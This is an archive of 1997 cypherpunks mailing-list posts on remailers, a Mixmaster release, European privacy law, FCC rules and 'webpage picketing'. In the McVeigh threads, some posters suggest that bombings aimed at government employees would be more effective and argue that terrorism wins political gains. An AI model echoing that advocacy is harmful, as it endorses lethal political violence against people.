#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 4 Jun 1997 16:17:56 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <3.0.2.32.19970531153135.0076a2e4@netcom13.netcom.com>
Message-ID: <3.0.2.32.19970604003346.03a8f3a4@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:52 AM 6/4/97 GMT+0200, Ulf Möller wrote:
>This is a gross exaggeration.  "Pattern investigation" can be used to
>investigate certain severe crimes that cannot be solved otherwise.  It
>must be warranted by a judge, naming the patterns that the respective
>committer is believed to match.  There have been three "pattern
>investigations" ever, since the law was passed in 1991 (none of them
>successful).

The German authorities conducted pattern investigations long before 1991.
The early 80's kidnapping of the industrialist comes to mind. [The
kidnapping that ultimately caused the suspected co-conspirators to be
sucided in their solitary confinement maximum security cells. Cells that
were under 24h audio surveilance. Unfortunatly, the tapes for that fateful
night mysteriously disappeared...]

But note the requirement you mention: "severe crimes...warranted by a
judge". Where have we heard this one before? Right. The four horsemen of
the infocalypse.


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 4 Jun 1997 16:19:45 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: May's Banal Rant
In-Reply-To: <3.0.2.32.19970602110450.0077d010@netcom13.netcom.com>
Message-ID: <3.0.2.32.19970604004836.03a8c4c0@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:17 PM 6/3/97 +0000, Paul Bradley wrote:
>This is not so certain, crypto-anarchy would of course be achieved if 
>anarchy in general were achieved, this could occur if strong action were 
>taken such as nuking DC.

I sincerely doubt that nuking DC would lead to anarchy. A draconian police
state with travel permits and bomb sniffers in every bus perhaps, but
anarchy? Very unlikely.


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 4 Jun 1997 15:41:16 +0800
To: hallam@ai.mit.edu
Subject: Re: McVeigh
In-Reply-To: <199706032129.RAA10938@muesli.ai.mit.edu>
Message-ID: <199706032349.AAA00708@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Hallam-Baker <hallam@ai.mit.edu> writes:
> > >There is absolutely nothing that the anti-government ranters contribute
> > >to the pro-cryptography movement...
> > 
> > Nothing except motivation.  Anti-government ranters founded this list, 
> > invented remailers, and did a lot of other good work.  
> 
> [first remailer ...]
>
> I'll accept that the ranting faction do some good work but I've 
> not seen anything usefull out of either Bell or Vulis unless that
> is you are an FBI agent looking to get a promotion from Freeh.

Dimitri rights code sometimes.  He wrote a cancel-bot.  Very
constructive piece of work in an indirect way.  See: having nice
freely available cancel-bots enables technically clueless, would
be-censors to censor more.  They censor more, and cause a nuisance for
themselves sending out tons of cancel messages.  This incentivizes
more and more people to ignore cancels (the trend in news
administration these days I understand is to ignore cancels entirely),
which means that you can't have your USENET posts censored nearly as
easily.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Wed, 4 Jun 1997 07:05:18 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <3.0.2.32.19970531153135.0076a2e4@netcom13.netcom.com>
Message-ID: <m0wZ2RU-0003bAC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



>German "dragnet investigations" and "pattern investigations" come to mind.
>The German BKA (the equivalent of the FBI) keeps a giant database that
>correlates "suspicious" behavior. [...]
>
>If you collect enough points, the feds come by to interrogate you.

This is a gross exaggeration.  "Pattern investigation" can be used to
investigate certain severe crimes that cannot be solved otherwise.  It
must be warranted by a judge, naming the patterns that the respective
committer is believed to match.  There have been three "pattern
investigations" ever, since the law was passed in 1991 (none of them
successful).

>It appears naive to claim that GAK could not happen under a Privacy
>Commissioner. It could and it will.

At least one German law professor argues that GAK is no problem if the
escrow agents are regularly inspected by the Privacy Commissioner.

The Privacy Commissioners on the other hand say that a crypto
regulation would be unconstitutional.

I agree that the existence of privacy officials will not prevent GAK.
But the constitutional protection of privacy should.  The German
privacy regulation is based on a decision of the Constitutional Court
which states that the citizen must be protected from an omniscient
state, and from omniscient business.  This decision clearly makes the
scenario you described above illegal.


The government draft of the Information and Communication Services Law
specifies that service providers "shall make it possible for the user
to use teleservices and to pay for them either anonymously or using a
pseudonym, insofar as this is technically possible and can be
reasonably expected".

The Bundesrat (Upper House) disagrees: "Users [...] can also be
information providers that e.g. post information to the Internet.
If these have a legal claim to use the service anonymously, they
will in future be able to commit crimes without having to fear to
be identified."

Others warn that failing to let the market decide will lead to
misinvestments, and that anonymous services will quickly be deployed
on a voluntary basis if there is a demand.

It's probably obvious which of these are right.  Nevertheless, I think
it is encouraging that the government accepts that anonymity has a
value. (They will never learn that sometimes it is better not to make
a law.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Wed, 4 Jun 1997 13:02:19 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Who "invented" remailers?
In-Reply-To: <v03102811afba9fb5ad1c@[207.167.93.63]>
Message-ID: <199706040457.AAA12535@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




> >The point I was making was rather different, I think the total volume
> >of PGP mail of all types is probably not a large enough fraction of the
> >trafic on the net to be secure. Taking any use of PGP as prima facie
> 
> ^^^^^^^^^^
> >evidence of subversive activity probably provides a reasonable cut.
>   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> 
> If you mean as prosecutable offense, I don't think you fully understand the
> laws of the United States. Much as we like to criticize the U.S., and bad
> laws, and whatnot, there is no such thing as "prima facie evidence of
> subversive activity," at least not since the House Unamerican Activities
> Committee and Joe McCarthy.

I really can't get excited about US domestic policy. That is not where the
crypto is needed. 

Eve so if you hypothesise the extent of surveillance such that mixmaster
remaillers are needed the constitution was thrown out long ago.

Now this happened under Hoover and the FBI still have their headquarters
named after him.

I'm having great difficulty making sense of the finely calibrated level of
paranoia which makes mixmaster both effective and necessary.

On the other hand it strikes me that if we could work out a better version
of Julf's pi.net remailer there would be a considerable benefit to the net.


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 4 Jun 1997 16:15:26 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Who "invented" remailers?
In-Reply-To: <199706040027.UAA11558@muesli.ai.mit.edu>
Message-ID: <3.0.2.32.19970604010625.03a9313c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:27 PM 6/3/97 -0700, Tim May wrote:
>(There are important issues, discussed by several of us several years ago,
>and more recently by Wei Dai and Lucky Green, dealing with correlation
>analysis of messages sent and messages received...esentially pattern
>analysis.

This type of analysis is unlikely to provide useful results for
high-latency systems such as remailers. However, this analysis can be very
fruitful on near real time systems such as ill-designed chained http
anonymizers.

[Tim of course knows this, I just want to make sure that this is
universally understood.]


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@bluemoney.com>
Date: Wed, 4 Jun 1997 16:46:44 +0800
To: cypherpunks@cyberpass.net
Subject: Profanity, PCS phones, and FCC
Message-ID: <3.0.2.32.19970604013225.007eb590@descartes.bluemoney.com>
MIME-Version: 1.0
Content-Type: text/plain



Well I went and got a PCS phone (Ericsson), and was pilfering through the 
manual, and came across this amusing text in the "Operating procedures"
section of the "Guidelines for Safe and Efficient Use":

  Portable PCS telephones are subject to the rules and regulations
  of the Federal Communications Commission (FCC). Following
  these rules will help eliminate confusion, ensure the most efficient
  use of the existing frequencies, and result in a functioning
  radio network. The following offenses are punishable by fine,
  imprisonment, or both:

   o Use of profane, indecent, or obscene language while using your
     phone.

   [a bunch more snipped but somewhat more sane regulations]

Joy. More laws to break.

Jeremey.
--
Jeremey Barrett                                BlueMoney Software Corp.
Crypto, Ecash, Commerce Systems               http://www.bluemoney.com/
PGP key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Name Withheld by Request)
Date: Wed, 4 Jun 1997 09:32:38 +0800
To: anon.lcs.mit.edu.mix-l@jpunix.com
Subject: ANNOUNCE: Mixmaster 2.0.4 beta available
Message-ID: <199706040125.DAA19874@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



This is to announce the release of Mixmaster 2.0.4 beta.

  Mixmaster is a new class of anonymous remailers. Inspired by the
  existing "cypherpunk" remailers and discussions on the Cypherpunk
  mailing list, Mixmaster is the next generation in the evolution of
  remailer technology.

Mixmaster is available from:

ftp://ftp.replay.com/pub/replay/pub/remailer/Mix-204b1.tar.gz

What's new?
- several bug fixes.
- "middle only" remailer.
- messages compression.
- support for /dev/random.
- rudimentary support for the list of reliable Mixmaster remailers.
- new installation script.
- can be compiled under DOS/Windows.

Mixmaster is (C) by Lance Cottrell <loki@infonex.com>.
This release was made by Ulf Möller <um@idril.shnet.org>.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 4 Jun 1997 23:06:18 +0800
To: tien@well.com>
Subject: Re: Rotenberg or Berman?  (was  Re: e$: Beltway piglets and otherbarnyard animals)
In-Reply-To: <v03007805afb8066bc310@[163.176.132.90]>
Message-ID: <v0302093dafb9de96af04@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:54 am -0400 on 6/3/97, Declan McCullagh wrote:


> This is a crucial point. Rotenberg != Berman.

To quote that great Tory, the late Francis Uquhart: "You may say that. I
couldn't *possibly* comment."

;-).

Of course dear old FU usually used that phrase in false denial. I have no
such intention here...

Cheers,
Bob

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 4 Jun 1997 22:33:35 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Webpage picketing (fwd)
Message-ID: <199706041340.IAA01267@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> Date: Wed, 4 Jun 1997 09:06:19 -0400 (EDT)
> From: Declan McCullagh <declan@pathfinder.com>
> Subject: Re: Webpage picketing (fwd)

> Jim's fundamental misunderstanding below seems to be, as far as I can
> tell, confusing public funding with public forums.

What is amazing is your denying there is any sort of connection at all. I am
not claiming that they are 1-to-1 as you would have readers believe but
rather one brings along certain rights for the user from the other area.
One of those rights is going to be protection of their civil liberties. Your
tacit assertion that simply because some resource receives public money does
not affect the civil or criminal aspect at all is also misleading.

> Just because an entity
> receives most, or all, of its funding from the state does not mean that
> that entity or the service that entity provides becomes a public forum for
> the purposes of First Amendment analysis.

BUT, and you seem unable to grasp this important concept, its users DO
receive such extra protection over and above a solely private resource.
This means that communictions BETWEEN said users will ALSO gain that
protection. Now it seems plain to me that if the reader sends a packet over
that network link, the server sends a packet over that same network in
responce a third party on that link with a CIVIL interest in the content of
that exchange may be able to force a minimal level of communications because
they ALSO use that link and have a vested interest in what the server is
sending over that link publicly.

> After all, many research
> universities receive half their revenues from Federal grants but they do
> not become public fora. I suppose part of the analysis in this case might
> turn on whether the state is setting up such networks itself and "owning"
> them or whether it's providing grants to a private entity.

If the government owns the link, say between Salt Lake and Chicago, wholely
then there is most definitely a comparison to be made. Even if the funding
is only partial that still brings along additional contractual obligations
for the operators in regards to civil rights and legal protections.

I could see them taking the end-point servers over on national security
grounds (like civilian airport radio equipment or the telephone) in regards
to breeches or damages against the servers. Shoot, they could integrate them
into the EBS (or whatever they are calling it this week). That could mean
that ANY hacking that was carried would automaticaly involve the government
on national security grounds ("Damn, I wish I hadn't changed my password
without writing it down!..."). THAT is just way too Red Scare for me.

> Again, the Internet is not a public street.

Yes, and your point? It can't be that a specific backbone cable between two
cities owned by the government is equivalent to the Internet in toto, even
conceptualy. Because it is clear that such a construct is equivalent to the
publicly funded highway running between the same cities, and you most
definitely CAN picket on a highway easment legaly. I have seen farm workers
in Texas do it my entire life. The Info-Highway comparison goes a LOT
farther than most people seem to have taken it. I personaly, don't think we
should go there in the case of communications technology.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 4 Jun 1997 22:03:02 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Webpage picketing (fwd)
In-Reply-To: <199706040442.XAA00428@einstein.ssz.com>
Message-ID: <Pine.GSO.3.95.970604085107.19844C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



I'm in NYC now and have to leave for work in a moment, so I'll keep
my response to Jim brief.

> In short it is a statement that it MIGHT be possible to use publicly
> funded network backbones to seriously impede communication using the
> system against itself. 

Jim's fundamental misunderstanding below seems to be, as far as I can
tell, confusing public funding with public forums. Just because an entity
receives most, or all, of its funding from the state does not mean that
that entity or the service that entity provides becomes a public forum for
the purposes of First Amendment analysis. After all, many research
universities receive half their revenues from Federal grants but they do
not become public fora. I suppose part of the analysis in this case might
turn on whether the state is setting up such networks itself and "owning"
them or whether it's providing grants to a private entity.

> I am stating the status quo, the level of expectant privacy on a public
> street (internet) is in no way nearly as comprehensive as in your home
> (intranet). Should you doubt this, walk around your living room with the

Again, the Internet is not a public street. It is not owned by the public. 
It is not a public forum, which is a term with a special legal meaning. It
is a privately-owned collection of networks. (Part of the problem here is
that we use "private" to mean both individually-owned and "expectation of
confidentiality or security.")

But I agree with Jim on the broader point, that we should question state
funding of network infrastructue. 

-Declan



On Tue, 3 Jun 1997, Jim Choate wrote:

> Hi,
> 
> Forwarded message:
> 
> > Date: Tue, 3 Jun 1997 23:57:47 -0400 (EDT)
> > From: Declan McCullagh <declan@pathfinder.com>
> > Subject: Re: Webpage picketing
> 
> > Pickets arise from a peculiar set of circumstances that arise in
> > meatspace, including public streets. Sure, you can picket The Gap at the
> > store up the block from my office on Connecticut Avenue. But try to wave
> > those signs outside The Gap in the Pentagon City mall not far away, and
> > you'll be chased off by the security guards. It's a private space;
> > different rules apply.
> 
> Pickets arise from people getting pissed off about some aspect of their
> economic life and using their right to free speech to express it.
> 
> Absolutely, but I can most definitely picket the mall and the store at that
> point with complete impunity from the sidewalk. And please correct me if my
> geometry/geography is wrong, but in order to get into the private parking
> spot at the private mall you do have to drive off the public street ACROSS
> the public sidewalk where all those picketers are standing. After all, if
> the mall won't let me express my opinions then I have an economic right as
> a consumer to express my displeasure and try to warn other consumers of the
> danger. It is irrelevant to my goal as a economic consumer whether I picket
> the store inside the mall or outside. What IS important is that I have legal
> access to ALL the customers using that business(es).
> 
> > And I think that we should be very careful about calling the Net a public
> > forum. Sure, places like Usenet resemble a public forum in some ways, but
> > it's not the same.
> 
> But I am not calling the net a public forum. I am specificaly talking about
> a special case that might arise if we are not aware of the consequences. In
> short it is a statement that it MIGHT be possible to use publicly funded
> network backbones to seriously impede communication using the system against
> itself.
> 
> > I think Greg has it right: you want to forcibly intervene in a
> > communication between two consenting parties. What you want is similar to
> > the right to come into my home and prevent me from speaking freely to my
> > friend or lover. 
> 
> Not at all, unless you are implying the same expectation of privacy on a
> public street (or backbone) that you would get in your home (or intranet).
> I am stating the status quo, the level of expectant privacy on a public
> street (internet) is in no way nearly as comprehensive as in your home
> (intranet). Should you doubt this, walk around your living room with the
> blinds drawn butt-naked and then try that again in the middle of downtown
> at 5pm. If you want to go to store A and it is covered in picketers, you
> WILL hear and see them even if you don't want to. Their right to speech is
> such that if you want to use that business you must submit to an exposure of
> their views however brief. My thesis is that it may be possible to extend
> this legaly supportable model to a backbone which derives some or all of its
> income from public funds. This could be a BAD thing, is it and why?. If it
> is acceptable use of publicly funded resources in meatspace why should
> publicy funded resources in bitspace be exempted? No more, no less.
> 
>    _______________________________________________________________________
>   |                                                                       |
>   |            Speak the truth, but leave immediately after.              |
>   |                                                                       |
>   |                                     Slovenian Proverb                 |
>   |                                                                       |
>   |     Jim Choate                                 ravage@ssz.com         |
>   |     The Armadillo Group                        www.ssz.com            |
>   |     Austin, Texas, USA                         512-451-7087           |
>   |_______________________________________________________________________|
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 4 Jun 1997 22:49:54 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Webpage picketing?... (fwd)
Message-ID: <199706041411.JAA01411@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 3 Jun 1997 16:02:02 -0700
> Subject: Re: Webpage picketing?...
> From: nobody@huge.cajones.com (Huge Cajones Remailer)

> > You may dislike
> > one of the sites linking to yours, but you really can't hijack their
> > connections and force people to listen to you who don't want to.
> 
>   Wrong! It's done every day in every media from newspapers to TV
> and points in between, including the InterNet.

>   I have a lot of respect for Peter's work, opinions and for his
> integrity, but my perception is that he fails to understand that
> the InterNet is a growing mosaic which can and should reflect
> *all* of life, and that his perception of what the InterNet is
> and should be somehow dictates what should and should not be
> done on the InterNet.
>   I think that what should be done on the InterNet is exactly
> what people *want* to do. It is up to their own conscience as
> to whether their actions are done with integrity and up to the
> rest of us to interpret and respond to those actions.

Agreed. However, I see a situation happening akin to a sheeple goes into the
public library and checks out a book on pro-life politics and because of
excessive civil liberty protection is then required to also check out a book
on pro-abortion to make shure they are informed.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 4 Jun 1997 23:31:59 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
Message-ID: <199706041455.JAA17498@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970603165035.36961@bywater.songbird.com>, on 06/03/97 
   at 04:50 PM, Kent Crispin <kent@songbird.com> said:

>On Tue, Jun 03, 1997 at 06:43:10PM +0000, Paul Bradley wrote: [...]
>> > McVeigh ripped the heart out of the militia movement, he demonstrated
>> > what it was really about. Ironically the Oaklahoma bombing may have
>> > had precisely the effect McVeigh desired but in a very different 
>> > sense. It was a wake up call to defend the country from fascism 
>> > but the fascist threat was McVeigh and the millitia movement.
>> 
>> Of course, if the militia movement were to have any effect a concentrated 
>> effort or even a few bombings killing only government employees would 
>> have been a better course of action.

>*Any* such violence on the part of militia movements will only  generate
>sympathy for the victims, and harm the movement more than it  helps.  

Perhaps perhaps not.

Taking a look at modern history would show other wise.

IRA activities brought England to the bargining table though talks have
currently staled.

Jews bombing and attacks against the brittish finaly brought about their
independance.

Palisinian's continued violance has brought the Israelies to the bargining
table and eventually will lead to an independant Palistinain state.

"Terrorist" activities of the Contras finally brought free elections to
Nicaragua.

Many such terrorist activities have brought political sucess to the groups
supporting them.

>> > recovered from the beer hall putsch. Alternatively they can 
>> > loudly claim that McVeigh was "framed" in the same way that
>> > other neo-NAZIs on the net claim the holocaust a fake, i.e.
>> > so that nobody really believes it. I suspect that this script
>> 
>> The militias would be better to disown McVeigh and condemn his alleged 
>> actions because he killed innocents. 

>But they won't, because they are pathetic insects drawn to the candle
>flame of violence.  Contrast that with the brilliance of the anarchist
>Eward Abbey in "The Monkey Wrench Gang", where the anti-government acts
>were calculated to call forth popular support. 

Hmmm I see to recall that the Brittish Empire showed the same contempt for
a group of fredom loving Americans 200yrs ago. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 4 Jun 1997 23:25:50 +0800
To: ravage@EINSTEIN.ssz.com
Subject: Re: Webpage picketing (fwd)
Message-ID: <199706041504.KAA17624@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706041340.IAA01267@einstein.ssz.com>, on 06/04/97 
   at 08:40 AM, Jim Choate <ravage@EINSTEIN.ssz.com> said:

>Yes, and your point? It can't be that a specific backbone cable between
>two cities owned by the government is equivalent to the Internet in toto,
>even conceptualy. Because it is clear that such a construct is equivalent
>to the publicly funded highway running between the same cities, and you
>most definitely CAN picket on a highway easment legaly. I have seen farm
>workers in Texas do it my entire life. The Info-Highway comparison goes a
>LOT farther than most people seem to have taken it. I personaly, don't
>think we should go there in the case of communications technology.

I think that your analogy is slightly flawed.

While the farmers have a right to protest on the side of the road they do
not have a right to interfere with the travelers on the road.

There is no real way you could picket on the "Info highway" as you have no
right to interfere with the packets traveling on the highway. You can
stand of to the side if you want but somehow I don't think that the
packets will be watching. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <ryan@michonline.com>
Date: Wed, 4 Jun 1997 22:33:27 +0800
To: Jeremey Barrett <jeremey@bluemoney.com>
Subject: Re: Profanity, PCS phones, and FCC
In-Reply-To: <3.0.2.32.19970604013225.007eb590@descartes.bluemoney.com>
Message-ID: <Pine.GSO.3.95.970604100034.25426C-100000@king>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 4 Jun 1997, Jeremey Barrett wrote:

> Well I went and got a PCS phone (Ericsson), and was pilfering through the 
> manual, and came across this amusing text in the "Operating procedures"
> section of the "Guidelines for Safe and Efficient Use":
[snip]
>    o Use of profane, indecent, or obscene language while using your
>      phone.
> Joy. More laws to break.

I believe this has been true about your regular phone line for years as
well.  It's unenforceable, and as a practical matter the FCC isn't going
to care, *EVER* about it.


-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
ryan@michonline.com                           Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Wed, 4 Jun 1997 23:50:27 +0800
To: Jim Choate <cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Webpage picketing (fwd)
In-Reply-To: <199706040442.XAA00428@einstein.ssz.com>
Message-ID: <3.0.1.32.19970604103432.00a8b300@labg30>
MIME-Version: 1.0
Content-Type: text/plain



At 11:42 PM 6/3/97 -0500, Jim Choate wrote:
>Pickets arise from people getting pissed off about some aspect of their
>economic life and using their right to free speech to express it.

A solution that doesn't involve legislation (the only kind to promote,
IMHO) would be to have a www.socially-aware.org site containing the links
to the various businesses, where your picketers can plant their signs, etc.
 Then, as a socially-aware consumer, I would begin my surfing at
www.politically-correct.org, read the union notices, the PETA notices,
etc., and then connect to www.beef-n-fur.com via their links.

This is a win-win-win type solution.  Best of all, there are no legal
intrusions being thrust upon anyone.  If I'm Joe Sixpack, paid my union
dues for the last 25 years, I'm sure as hell going to go through the
www.labor.com page to check out the retailers before shopping there.  If
I'm Jane Greene, I'm gonna make sure no baby seals were clubbed in the
making of my hemp shoes, so I'll do my surfing through links from
www.green.org's web site.  And, if I'm one of the other 80% of the people
who don't give a damn about union labor problems, baby seals, or the plight
of migrant grape pickers, it'll save me the trouble of ignoring them as I
walk by.

So what if they only get to preach to the choir?  What about the rights of
the atheist to not have preaching in their private home, on their modem?

(This brings to mind another solution:  "The Christian IP Network.
Guaranteed to not deliver unto you the E-vil packets of the Demons of
Pornographers, Terrorists, Narcotics Traffickers, Money Launderers or
Cypherpunks.  We're the ISP that delivers only Family-Valued, God-Blessed
and Jesus-Approved packets to your customers.  Send lots of money now,
censors are standing by."  Hey, if they want to hide behind a whole
firewall full of censors, that's just fine by me.)

If Organized Labor or VerdurePax wants to start doing something like this
today, they're certainly welcome to do it.  For all I know, they might be
doing it now.  That's the beauty inherent in the system -- if I don't
personally care about their issues, they're not sucking up my bandwidth
with their propaganda.  And say what you like about free speech, since I
have to pay MONEY and waste my time on my modem connection, I have the
right to not download the bits I don't care about.

John
--
No one's right to free speech was trampled on by the existence of this
e-mail. Either you've voluntarily subscribed to a mailing list that
delivers it, or you're voluntarily reading it in a publically available
newsgroup or mirror.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Wed, 4 Jun 1997 23:29:18 +0800
To: Marc Rotenberg <3umoelle@informatik.uni-hamburg.de (Ulf Möller )
Subject: Europrivacy
In-Reply-To: <m0wYgFx-0003b9C@ulf.mali.sub.org>
Message-ID: <3.0.2.32.19970604104626.035ebb28@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:13 AM 6/3/97 -0500, Marc Rotenberg wrote:
>http://wwww.wired.com/wired/4.05/idees.fortes/eurocrats.html
>
>Eurocrats Do Good Privacy
>
>Marc Rotenberg
>
>       It shows that governments, at least some
>governments, can be a force for progress in the crypto
>       world.

We're talking here about governments where unlicensed crypto is a crime.  Or 
other countries where anonymity is illegal.  Give me a break.

>       Reread that sentence. It is not conventional wisdom in the United
>States. Cyberlibertarians have been unrelenting in
>       their opposition to any federal role in crypto policy. Free
>marketers argue simply that there is no place for government
>       in the development of high-tech products. Cyberanarchists seem to
>doubt whether there is any role at all for
>       government.

And EPIC (nee CPSR) and CD&T are run by Left pro-government types who like
big 
governments and high taxes.  So we're even.

>       But the recent European experience should give pause to these allies
>in the battle for online privacy. Not only are
>       European officials at the highest levels prepared to embrace
>technologies of privacy, they have almost uniformly
>       opposed US-inspired surveillance schemes such as Clipper.

So are they going to give up their street cameras, address registration (in 
Belgium, you can't get the gas service turned on in your flat if you haven't 
registered with the commune -- but you can get electricity), occupational 
licensure (of *all* occupations as in Germany), national ID cards, Financial 
Police (Italy), computer registration, piles of mandatory paperwork, etc.?

>       Two recent reports are indicative. In "Privacy-Enhancing
>Technologies: The Path to Anonymity," the Netherlands and
>       the Canadian province of Ontario call for an exploration of new
>technologies to promote privacy. 

They could just repeal their privacy invading laws and regs.  No new 
technology needed.

>       It doesn't have to be this way. The reality of modern society is
>that government officials make decisions every day
>       about the rights of citizens. 

And with modern technology, we turn right around and make decisions on the
rights of governments.

>       not. Compared with governments that lack privacy officials,
>governments that have privacy officials have repeatedly
>       weighed in favor of privacy interests.

Then why do Europeans have *much* less privacy than Americans.  Tiny
example.  
In much of Europe, if mail coming to your flat is not addressed to the name
on 
the mailbox, it doesn't get delivered.  In the U.S., the P.O. still tends to 
deliver as addressed and let the occupants sort it out.  Somewhat looser.

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 4 Jun 1997 23:42:41 +0800
To: cypherpunks@einstein.ssz.com
Subject: Re: McVeigh
In-Reply-To: <3393682D.167E@ai.mit.edu>
